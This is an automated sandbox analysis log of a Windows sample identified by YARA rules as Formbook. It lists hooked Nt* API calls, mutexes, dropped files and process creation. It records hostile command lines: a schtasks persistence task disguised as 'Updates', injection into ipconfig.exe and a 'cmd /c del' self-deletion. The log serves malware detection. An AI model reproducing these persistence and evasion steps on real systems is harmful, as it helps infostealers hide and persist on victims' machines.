Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99840 NtDelayExecution,LdrInitializeThunk,	15_2_00D99840
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99860 NtQuerySystemInformation,LdrInitializeThunk,	15_2_00D99860
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D999A0 NtCreateSection,LdrInitializeThunk,	15_2_00D999A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99910 NtAdjustPrivilegesToken,LdrInitializeThunk,	15_2_00D99910
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99A50 NtCreateFile,LdrInitializeThunk,	15_2_00D99A50
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D995D0 NtClose,LdrInitializeThunk,	15_2_00D995D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99540 NtReadFile,LdrInitializeThunk,	15_2_00D99540
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D996D0 NtCreateKey,LdrInitializeThunk,	15_2_00D996D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D996E0 NtFreeVirtualMemory,LdrInitializeThunk,	15_2_00D996E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99FE0 NtCreateMutant,LdrInitializeThunk,	15_2_00D99FE0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99780 NtMapViewOfSection,LdrInitializeThunk,	15_2_00D99780
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99710 NtQueryInformationToken,LdrInitializeThunk,	15_2_00D99710
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D998F0 NtReadVirtualMemory,	15_2_00D998F0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D998A0 NtWriteVirtualMemory,	15_2_00D998A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D9B040 NtSuspendThread,	15_2_00D9B040
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99820 NtEnumerateKey,	15_2_00D99820
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D999D0 NtCreateProcessEx,	15_2_00D999D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99950 NtQueueApcThread,	15_2_00D99950
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99A80 NtOpenDirectoryObject,	15_2_00D99A80
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99A10 NtQuerySection,	15_2_00D99A10
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99A00 NtProtectVirtualMemory,	15_2_00D99A00
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99A20 NtResumeThread,	15_2_00D99A20
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D9A3B0 NtGetContextThread,	15_2_00D9A3B0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99B00 NtSetValueKey,	15_2_00D99B00
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D995F0 NtQueryInformationFile,	15_2_00D995F0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99560 NtWriteFile,	15_2_00D99560
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D9AD30 NtSetContextThread,	15_2_00D9AD30
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99520 NtWaitForSingleObject,	15_2_00D99520
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99650 NtQueryValueKey,	15_2_00D99650
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99670 NtQueryInformationProcess,	15_2_00D99670
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99660 NtAllocateVirtualMemory,	15_2_00D99660
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99610 NtEnumerateValueKey,	15_2_00D99610
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D997A0 NtUnmapViewOfSection,	15_2_00D997A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D9A770 NtOpenThread,	15_2_00D9A770
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99770 NtSetInformationFile,	15_2_00D99770
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99760 NtOpenProcess,	15_2_00D99760
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D9A710 NtOpenProcessToken,	15_2_00D9A710
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D99730 NtQueryVirtualMemory,	15_2_00D99730
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C81B0 NtCreateFile,	15_2_003C81B0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C8260 NtReadFile,	15_2_003C8260
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C82E0 NtClose,	15_2_003C82E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C81AA NtCreateFile,	15_2_003C81AA
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C825A NtReadFile,	15_2_003C825A

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_030F1D47	0_2_030F1D47
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_030F176C	0_2_030F176C
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_03118B13	0_2_03118B13
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_03117D14	0_2_03117D14
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_0581DD70	0_2_0581DD70
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_05810BF0	0_2_05810BF0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_05810BDF	0_2_05810BDF
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_09571C70	0_2_09571C70
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_0957CC88	0_2_0957CC88
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_09571360	0_2_09571360
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_09572BE8	0_2_09572BE8
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_00FC9829	0_2_00FC9829
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041B825	5_2_0041B825
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00401030	5_2_00401030
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041C19E	5_2_0041C19E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041CAC5	5_2_0041CAC5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00408C50	5_2_00408C50
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041C4E5	5_2_0041C4E5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00402D90	5_2_00402D90
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041C742	5_2_0041C742
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00402FB0	5_2_00402FB0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157F900	5_2_0157F900
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01594120	5_2_01594120
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164E824	5_2_0164E824
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631002	5_2_01631002
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016428EC	5_2_016428EC
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158B090	5_2_0158B090
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016420A8	5_2_016420A8
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159AB40	5_2_0159AB40
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01642B28	5_2_01642B28
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163DBD2	5_2_0163DBD2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016303DA	5_2_016303DA
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AEBB0	5_2_015AEBB0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0162FA2B	5_2_0162FA2B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016422AE	5_2_016422AE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01641D55	5_2_01641D55
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01642D07	5_2_01642D07
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01570D20	5_2_01570D20
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158D5E0	5_2_0158D5E0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016425DD	5_2_016425DD
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2581	5_2_015A2581
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163D466	5_2_0163D466
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158841F	5_2_0158841F
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01641FF1	5_2_01641FF1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164DFCE	5_2_0164DFCE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01596E30	5_2_01596E30
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163D616	5_2_0163D616
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01642EF7	5_2_01642EF7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E228EC	15_2_00E228EC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D6B090	15_2_00D6B090
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E220A8	15_2_00E220A8
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D820A0	15_2_00D820A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E11002	15_2_00E11002
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D5F900	15_2_00D5F900
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D74120	15_2_00D74120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E222AE	15_2_00E222AE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E1DBD2	15_2_00E1DBD2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D8EBB0	15_2_00D8EBB0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E22B28	15_2_00E22B28
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E1D466	15_2_00E1D466
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D6841F	15_2_00D6841F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D6D5E0	15_2_00D6D5E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E225DD	15_2_00E225DD
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D82581	15_2_00D82581
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E21D55	15_2_00E21D55
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E22D07	15_2_00E22D07
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D50D20	15_2_00D50D20
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E22EF7	15_2_00E22EF7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D76E30	15_2_00D76E30
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E1D616	15_2_00E1D616
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E21FF1	15_2_00E21FF1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CCAC5	15_2_003CCAC5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003B8C50	15_2_003B8C50
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CC4E5	15_2_003CC4E5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003B2D90	15_2_003B2D90
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CC742	15_2_003CC742
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003B2FB0	15_2_003B2FB0

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: String function: 0157B150 appears 48 times
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: String function: 00D5B150 appears 35 times

Source: 08917506_by_Libranalysis.exe	Binary or memory string: OriginalFilename vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.261415495.00000000094D0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.257338914.00000000076E0000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.257338914.00000000076E0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000000.227243971.0000000000FC2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameNotFiniteNumberException.exeB vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252059704.0000000003631000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSimpleUI.dll( vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.258531380.0000000008BE0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameIEFRAME.DLLD vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.260684849.0000000009280000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.258654930.0000000008C00000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.256930094.00000000075F0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe	Binary or memory string: OriginalFilename vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000005.00000002.294838186.0000000000B22000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameNotFiniteNumberException.exeB vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000005.00000002.295432403.00000000017FF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe, 00000005.00000002.295601970.0000000003157000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameipconfig.exej% vs 08917506_by_Libranalysis.exe
Source: 08917506_by_Libranalysis.exe	Binary or memory string: OriginalFilenameNotFiniteNumberException.exeB vs 08917506_by_Libranalysis.exe

Source: 08917506_by_Libranalysis.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: 08917506_by_Libranalysis.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: OfCxSfBf.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@10/4@14/9

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A4D12 AdjustTokenPrivileges,		0_2_058A4D12
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A4CDB AdjustTokenPrivileges,		0_2_058A4CDB

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File created: C:\Users\user\AppData\Roaming\OfCxSfBf.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:360:120:WilError_01
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_01
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Mutant created: \Sessions\1\BaseNamedObjects\VcUWFLvHOIJOkLh

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File created: C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp

Jump to behavior

Source: 08917506_by_Libranalysis.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: 08917506_by_Libranalysis.exe	Virustotal: Detection: 23%
Source: 08917506_by_Libranalysis.exe	ReversingLabs: Detection: 17%

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File read: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\08917506_by_Libranalysis.exe 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe'
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\08917506_by_Libranalysis.exe C:\Users\user\Desktop\08917506_by_Libranalysis.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp'	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\08917506_by_Libranalysis.exe C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe'	Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

